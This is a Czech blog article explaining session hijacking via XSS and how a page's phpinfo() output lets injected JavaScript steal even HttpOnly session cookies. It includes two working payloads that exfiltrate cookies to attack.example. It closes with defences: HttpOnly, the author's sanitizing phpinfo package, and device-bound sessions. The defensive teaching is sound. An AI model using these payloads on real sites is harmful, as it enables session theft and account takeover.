Klasické přihlášení do webové aplikace vypadá tak, že zadáte jméno
a heslo, formulář odešlete, aplikace přihlašovací údaje ověří a do
tzv. sessiony uloží informaci, že jste přihlášeni. Do prohlížeče pak
odešle cookie s identifikátorem session (session id), který označuje tu
vaši „plechovku“ se session daty. Váš session id nikdo jiný úmyslně
nedostane, pokud by ho totiž získal, byl by pak přihlášen do vašeho
účtu, což by bylo značně nežádoucí.
Session hijacking
Ale to by tu nesměli být různí mizerové: ti se od vás snaží ideálně
nějak nepozorovaně získat právě ten session identifikátor, tím se dostat
do vaší sessiony a v podstatě se za vás vydávat, sessionu vám tzv. unést
(anglicky se tomu říká „session hijacking“). Takový klasický způsob
ukradení session id je pomocí útoku Cross-Site Scripting (XSS), kdy do
stránky útočník nějak vloží JavaScript, ať už přímo, nebo vložením
externího souboru, který zákeřný kód bude obsahovat. Ten vložený kód
může vypadat např. takto:
new Image().src = 'https://attack.example/?cookie=' + encodeURIComponent(document.cookie);
Když pak návštěvník na stránku přijde, jeho prohlížeč uvidí
JavaScript, vytvoří objekt typu Image
a bude chtít načíst
obrázek z uvedené adresy. Ta v parametru cookie
obsahuje pro
přenos v URL bezpečně zakódované všechny cookie, ke kterým má
JavaScript aktuálně přístup, tedy ty, které jsou uložené pro aktuální
stránku (dle nastavení atributu Domain
, Path
atd.) a
nemají nastaven příznak HttpOnly
.
Útočník si pak na svém serveru attack.example
může
zobrazit i třeba jenom access log, ve kterém uvidí požadavek na např.
/?cookie=PHPSESSID%3D68516bed29d47527b8b23bd7dec20f19
, z něj si
pak vyzobne session id, v browseru načte stránku, ze které session id
ukradl, otevře developer tools a přidá nebo změní cookie
PHPSESSID
, stránku pak reloadne a rázem je v té samé
sessioně, česky sezení, přihlášen jako uživatel chudáka oběti.
Atribut HttpOnly
Pokud cookie má atribut HttpOnly
, tak k ní JavaScript nemá
přístup a kódem uvedeným výše ukrást nepůjde. To si ostatně můžete
vyzkoušet v podstatě na jakémkoliv webu: ve vašem prohlížeči
v developer tools si v záložce Application (Chrome) nebo Storage (Firefox)
najděte nějakou cookie, která má příznak HttpOnly
, a
v konzoli, kterou můžete rovnou zobrazit stiskem klávesy Escape, si
příkazem document.cookie
vypište všechny cookies tak, jak je
vidí JavaScript – cookies s HttpOnly
tam nebudou.
A cookie se session id, v PHP aplikacích obvykle pojmenovaná
PHPSESSID
, atribut HttpOnly
má často nastaven.
V defaultní konfiguraci PHP se ale nenastavuje a je potřeba to udělat
dodatečně ručně např. pomocí
ini_set('session.cookie_httponly', true);
Obcházení HttpOnly
pomocí phpinfo()
Takže smůla, ledaže… ledaže by na webu někde byl zobrazen výstup z
phpinfo()
, PHP funkce, která vypisuje úplně všechno
o aktuálně použitém PHP. Klasicky bývá na /info.php
nebo
/phpinfo.php
a zmiňoval jsem se o ní v článku o Full Path
Disclosure, protože kromě konfigurace PHP a informacích
o rozšířeních zobrazí právě i cestu k souborům, která se
útočníkům může k něčemu hodit.
Ve výstupu z phpinfo()
ale jsou vypsané i hodnoty cookies,
které browser při požadavku poslal, včetně těch s HttpOnly
,
protože takové cookies se normálně po síti přenáší a server je tedy
v rámci požadavku obdrží. Ve výpisu tedy bude i hodnota session id,
minimálně jako řádek s např. $_COOKIE['PHPSESSID']
, ale dle
verze PHP a konfigurace klidně i víckrát.
Toho může útočník využít: místo aby kradl session id JavaScriptem
přímo z browseru pomocí document.cookie
, tak si JavaScriptem
pošle požadavek na např. /phpinfo.php
, vytáhne si jen tu pro
něj zajímavou část odpovědi, kterou pak připojí k následujícímu
požadavku, který si pošle k sobě. To zařídí třeba následující kód,
který někam do stránek na doméně https://app.example/
vloží
místo výše uvedeného new Image().src …
:
fetch('https://app.example/info.php')
.then(response => response.text())
.then(text => {
cookie = text.match(/_COOKIE.{1,2000}/)[0];
fetch('https://attack.example/?cookie=' + encodeURIComponent(cookie));
});
Na prvním řádku pošleme požadavek na /info.php
, druhý a
třetí řádek zajistí, že v proměnné text
budeme mít
výstup z phpinfo()
, ze kterého si na čtvrtém řádku vytáhneme
řetězec _COOKIE
a dalších maximálně 2000 znaků, ve kterých
zcela určitě, kromě nějakého toho HTML, bude i session id. Na pátém
řádku pak tento podřetězec přidáme do požadavku odesílaného na
attack.example
. Odpověď už nás nezajímá, stačí že
prohlížeč poslal požadavek, a na serveru se pak podíváme do access logu.
Mohli bychom si klidně poslat celé phpinfo()
, ale potřeba to
není, jdeme jenom po cookie se session id.
Pokud budete mít v aplikaci nějaký Cross-Site Scripting, aby útočník
mohl vložit svůj zákeřný JavaScript, a výstup z phpinfo()
,
jedno jestli veřejně nebo za přihlášením, tak mizera může ukrást
session id i když cookie, ve které se přenáší, má atribut
HttpOnly
.
Co s tím?
- Nemějte na webu XSS
- Nemějte v aplikaci výstup z
phpinfo()
, nebo věci jako
var_dump($_SERVER)
apod., a už vůbec ne veřejně
Teorie i praxe říká, že je lepší počítat s tím, že tam nějaký
ten Cross-Site Scripting někdy mít budete, takže bod č. 1 padá. No a
výstup z phpinfo()
je celkem užitečná věc, takže bod č.
2 je také často nereálný.
Až když jsem psal bug report s titulkem „System Information contains
sensitive information like the session id cookie“, tak mě napadl kompromis:
phpinfo()
v administraci necháme, ale ty důležitý údaje
skryjeme, na ty tam stejně nikdo nekouká.
spaze/phpinfo
Už dříve jsem si vytvořil jednoduchý balíček spaze/phpinfo, který vezme výstup
z phpinfo()
, odřízne HTML hlavičku aby se ten výstup dal
vložit do nějakého vlastního designu administrace apod. a inline CSS
style="…"
nahradí za class="…"
. Do této třídy
jsem přidal sanitizaci, která defaultně nahrazuje hodnotu session id za
hvězdičky.
Použití je skoro tak jednoduché jako zavolání
phpinfo()
:
$info = new PhpInfo();
echo $info->getHtml();
Jádrem toho celýho zázraku je v podstatě tenhle kód:
ob_start();
phpinfo();
$info = ob_get_clean();
echo str_replace(session_id(), '*****', $info);
Můžete si ale přidat vlastní nahrazování dalších hodnot jako jsou
např. cookie pro permanentní přihlašování a další, můžete si zvolit
i vlastní „hvězdičky“:
// $loginToken = getLoginTokenValue(); např.
$info = new PhpInfo();
$info->addSanitization($loginToken, 'hele, asi spíš ne');
echo $info->getHtml();
Na mém webu to všechno zajišťuje třída SanitizedPhpInfo
(pokrytá testem),
výsledek pak vypadá nějak takhle:
Místo prostého volání phpinfo()
tedy raději použijte spaze/phpinfo. Funkci
phpinfo()
jsem přidal
i do spaze/phpstan-disallowed-calls, což je rozšíření pro PHPStan,
které hledá nebezpečné funkce a další ve vašem kódu.
Device Bound Session Credentials
Kradení cookies ale možná bude velmi brzy již minulostí, Chrome totiž
experimentuje s něčím, co nazývají Device
Bound Session Credentials. To by mělo zajistit, že sessiona bude
svázaná s konkrétním zařízením, používají k tomu veřejné a
soukromé klíče a TPM pro jejich
uložení. Mělo by to také fungovat jako jakási nadstavba nad klasickými
sessions, nemělo by to vyžadovat nějaké brutální změny všeho
možného.
Prototyp tohoto řešení už chrání některé Google účty pokud
uživatelé používají Chrome Beta a do konce roku
2024 by Device Bound Session Credentials na zkoušku měly být
dostupné i veřejnosti a dalším webům jako tzv. Origin Trials.